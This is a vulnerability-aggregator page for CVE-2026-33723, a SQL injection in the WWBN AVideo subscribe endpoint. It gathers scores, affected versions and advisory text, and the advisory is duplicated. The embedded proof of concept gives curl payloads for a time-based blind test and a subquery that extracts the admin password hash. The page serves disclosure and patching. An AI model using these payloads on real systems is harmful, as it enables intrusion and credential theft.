CVE-2026-33723
AVideo Vulnerable to SQL Injection in Subscribe Endpoint via Unsanitized user_id Parameter in subscribe.php
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the Subscribe::save() method in objects/subscribe.php concatenates the $this->users_id property directly into an INSERT SQL query without sanitization or parameterized binding. This property originates from $_POST['user_id'] in both subscribe.json.php and subscribeNotify.json.php. An authenticated attacker can inject arbitrary SQL to extract sensitive data from any database table, including password hashes, API keys, and encryption salts. Commit 36dfae22059fbd66fd34bbc5568a838fc0efd66c contains a patch.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.1
AVideo Vulnerable to SQL Injection in Subscribe Endpoint via Unsanitized user_id Parameter in subscribe.php
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the Subscribe::save() method in objects/subscribe.php concatenates the $this->users_id property directly into an INSERT SQL query without sanitization or parameterized binding. This property originates from $_POST['user_id'] in both subscribe.json.php and subscribeNotify.json.php. An authenticated attacker can inject arbitrary SQL to extract sensitive data from any database table, including password hashes, API keys, and encryption salts. Commit 36dfae22059fbd66fd34bbc5568a838fc0efd66c contains a patch.
- Record
CVE-2026-33723- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-89
- Updated
- 2026-11-02
EUVDEUVD-2026-14508
7.1
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the Subscribe::save() method in objects/subscribe.php concatenates the $this->users_id property directly into an INSERT SQL query without sanitization or parameterized binding. This property originates from $_POST['user_id'] in both subscribe.json.php and subscribeNotify.json.php. An authenticated attacker can inject arbitrary SQL to extract sensitive data from any database table, including password hashes, API keys, and encryption salts. Commit 36dfae22059fbd66fd34bbc5568a838fc0efd66c contains a patch.
- Record
EUVD-2026-14508- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-ffr8-fxhv-fv8h
7.1
AVideo is Vulnerable to SQL Injection through Subscribe Endpoint via Unsanitized user_id Parameter
Summary
The Subscribe::save() method in objects/subscribe.php concatenates the $this->users_id property directly into an INSERT SQL query without sanitization or parameterized binding. This property originates from $_POST['user_id'] in both subscribe.json.php and subscribeNotify.json.php. An authenticated attacker can inject arbitrary SQL to extract sensitive data from any database table, including password hashes, API keys, and encryption salts.
Details
The vulnerability exists because of a disconnect between where intval() is applied and where the value is used in SQL.
Entry points — objects/subscribe.json.php:40 and objects/subscribeNotify.json.php:23:
// subscribe.json.php line 40
$subscribe = new Subscribe(0, $_POST['email'], $_POST['user_id'], User::getId());
Constructor stores raw value — objects/subscribe.php:34:
public function __construct($id, $email = "", $user_id = "", $subscriber_users_id = "")
{
// ...
$this->users_id = $user_id; // Raw $_POST['user_id'], no sanitization
$this->subscriber_users_id = $subscriber_users_id;
if (empty($this->id)) {
$this->loadFromId($this->subscriber_users_id, $user_id, "");
}
}
getSubscribeFromID sanitizes local copies only — objects/subscribe.php:137-139:
public static function getSubscribeFromID($subscriber_users_id, $user_id, $status = "a"){
$subscriber_users_id = intval($subscriber_users_id); // Local variable only
$user_id = intval($user_id); // Local variable only — $this->users_id is NOT affected
When getSubscribeFromID finds no matching subscription (the attacker simply targets a user_id they haven't subscribed to), loadFromId() returns false. The object's $this->id remains null, and $this->users_id retains the unsanitized injection payload.
Vulnerable sink — objects/subscribe.php:88:
public function save()
{
if (!empty($this->id)) {
// UPDATE path (not reached when $this->id is null)
} else {
$this->status = 'a';
$sql = "INSERT INTO subscribes (users_id, email, status, ip, created, modified, subscriber_users_id)
VALUES ('{$this->users_id}', ..."; // Direct concatenation of injected value
}
$saved = sqlDAL::writeSql($sql); // Called with NO $formats or $values
sqlDAL::writeSql provides no protection — objects/mysql_dal.php:102:
When called without $formats/$values parameters (as save() does), the eval_mysql_bind() function at line 636 returns true without binding any parameters. The already-concatenated SQL string is passed directly to $global['mysqli']->prepare() and execute(), executing the injection as the prepared statement itself.
PoC
Prerequisites: An authenticated session on the target AVideo instance.
Step 1: Confirm injection with time-based blind SQLi
# Pick a user_id that the current user has NOT subscribed to (e.g., 99999)
# The SLEEP(5) will cause a ~5 second delay confirming injection
curl -s -o /dev/null -w "%{time_total}" \
-b 'PHPSESSID=VALID_SESSION_ID' \
-d "user_id=99999'+AND+SLEEP(5)+AND+'1" \
https://target/objects/subscribe.json.php
# Expected: ~5 second response time (vs <1 second normally)
Step 2: Extract admin password hash via INSERT subquery
# Inject a subquery that reads the admin password hash into the email column
curl -b 'PHPSESSID=VALID_SESSION_ID' \
-d "user_id=99999',(SELECT+pass+FROM+users+WHERE+isAdmin=1+LIMIT+1),'a','1.1.1.1',now(),now(),'1');%23" \
https://target/objects/subscribe.json.php
This closes the VALUES clause with attacker-controlled data and comments out the rest of the query. The admin password hash is inserted into the email column of the subscribes table, which can be read back via the subscription list API.
Step 3: Read exfiltrated data
The injected row is readable via any endpoint that queries the subscribes…
- Record
GHSA-ffr8-fxhv-fv8h- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-89
- Updated
- 2026-11-02
NVD
7.1
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the Subscribe::save() method in objects/subscribe.php concatenates the $this->users_id property directly into an INSERT SQL query without sanitization or parameterized binding. This property originates from $_POST['user_id'] in both subscribe.json.php and subscribeNotify.json.php. An authenticated attacker can inject arbitrary SQL to extract sensitive data from any database table, including password hashes, API keys, and encryption salts. Commit 36dfae22059fbd66fd34bbc5568a838fc0efd66c contains a patch.
- Record
CVE-2026-33723- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N - CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-89
- Updated
- 2026-11-02
OSV
7.1
AVideo Vulnerable to SQL Injection in Subscribe Endpoint via Unsanitized user_id Parameter in subscribe.php
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the Subscribe::save() method in objects/subscribe.php concatenates the $this->users_id property directly into an INSERT SQL query without sanitization or parameterized binding. This property originates from $_POST['user_id'] in both subscribe.json.php and subscribeNotify.json.php. An authenticated attacker can inject arbitrary SQL to extract sensitive data from any database table, including password hashes, API keys, and encryption salts. Commit 36dfae22059fbd66fd34bbc5568a838fc0efd66c contains a patch.
- Record
CVE-2026-33723- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-89
- Updated
- 2026-11-02
OSVGHSA-ffr8-fxhv-fv8h
7.1
AVideo is Vulnerable to SQL Injection through Subscribe Endpoint via Unsanitized user_id Parameter
Summary
The Subscribe::save() method in objects/subscribe.php concatenates the $this->users_id property directly into an INSERT SQL query without sanitization or parameterized binding. This property originates from $_POST['user_id'] in both subscribe.json.php and subscribeNotify.json.php. An authenticated attacker can inject arbitrary SQL to extract sensitive data from any database table, including password hashes, API keys, and encryption salts.
Details
The vulnerability exists because of a disconnect between where intval() is applied and where the value is used in SQL.
Entry points — objects/subscribe.json.php:40 and objects/subscribeNotify.json.php:23:
// subscribe.json.php line 40
$subscribe = new Subscribe(0, $_POST['email'], $_POST['user_id'], User::getId());
Constructor stores raw value — objects/subscribe.php:34:
public function __construct($id, $email = "", $user_id = "", $subscriber_users_id = "")
{
// ...
$this->users_id = $user_id; // Raw $_POST['user_id'], no sanitization
$this->subscriber_users_id = $subscriber_users_id;
if (empty($this->id)) {
$this->loadFromId($this->subscriber_users_id, $user_id, "");
}
}
getSubscribeFromID sanitizes local copies only — objects/subscribe.php:137-139:
public static function getSubscribeFromID($subscriber_users_id, $user_id, $status = "a"){
$subscriber_users_id = intval($subscriber_users_id); // Local variable only
$user_id = intval($user_id); // Local variable only — $this->users_id is NOT affected
When getSubscribeFromID finds no matching subscription (the attacker simply targets a user_id they haven't subscribed to), loadFromId() returns false. The object's $this->id remains null, and $this->users_id retains the unsanitized injection payload.
Vulnerable sink — objects/subscribe.php:88:
public function save()
{
if (!empty($this->id)) {
// UPDATE path (not reached when $this->id is null)
} else {
$this->status = 'a';
$sql = "INSERT INTO subscribes (users_id, email, status, ip, created, modified, subscriber_users_id)
VALUES ('{$this->users_id}', ..."; // Direct concatenation of injected value
}
$saved = sqlDAL::writeSql($sql); // Called with NO $formats or $values
sqlDAL::writeSql provides no protection — objects/mysql_dal.php:102:
When called without $formats/$values parameters (as save() does), the eval_mysql_bind() function at line 636 returns true without binding any parameters. The already-concatenated SQL string is passed directly to $global['mysqli']->prepare() and execute(), executing the injection as the prepared statement itself.
PoC
Prerequisites: An authenticated session on the target AVideo instance.
Step 1: Confirm injection with time-based blind SQLi
# Pick a user_id that the current user has NOT subscribed to (e.g., 99999)
# The SLEEP(5) will cause a ~5 second delay confirming injection
curl -s -o /dev/null -w "%{time_total}" \
-b 'PHPSESSID=VALID_SESSION_ID' \
-d "user_id=99999'+AND+SLEEP(5)+AND+'1" \
https://target/objects/subscribe.json.php
# Expected: ~5 second response time (vs <1 second normally)
Step 2: Extract admin password hash via INSERT subquery
# Inject a subquery that reads the admin password hash into the email column
curl -b 'PHPSESSID=VALID_SESSION_ID' \
-d "user_id=99999',(SELECT+pass+FROM+users+WHERE+isAdmin=1+LIMIT+1),'a','1.1.1.1',now(),now(),'1');%23" \
https://target/objects/subscribe.json.php
This closes the VALUES clause with attacker-controlled data and comments out the rest of the query. The admin password hash is inserted into the email column of the subscribes table, which can be read back via the subscription list API.
Step 3: Read exfiltrated data
The injected row is readable via any endpoint that queries the subscribes…
- Record
GHSA-ffr8-fxhv-fv8h- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-89
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
wwbn/avideoPackagist |
through 26.0 | None known |
wwbn/avideoPackagist |
through 26.0, plus listed versions 10.410.81111.111.1.1 Show 11 moreShow less11.511.612.414.314.3.114.418.021.022.024.025.0 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-33723 is a high vulnerability (CVSS 7.1) in Wwbn Avideo, published March 23, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.23%, the 13th percentile. No source names a fixed version.
References
github.com/WWBN/AVideo/security/advisories/GHSA-ffr8-fxhv-fv8h
github.com/WWBN/AVideo/commit/36dfae22059fbd66fd34bbc5568a838fc0efd66c
nvd.nist.gov/vuln/detail/CVE-2026-33723
github.com/advisories/GHSA-ffr8-fxhv-fv8h
github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33723.json
github.com/WWBN/AVideo
Left out here: the rest of 2 source descriptions. The JSON record has them.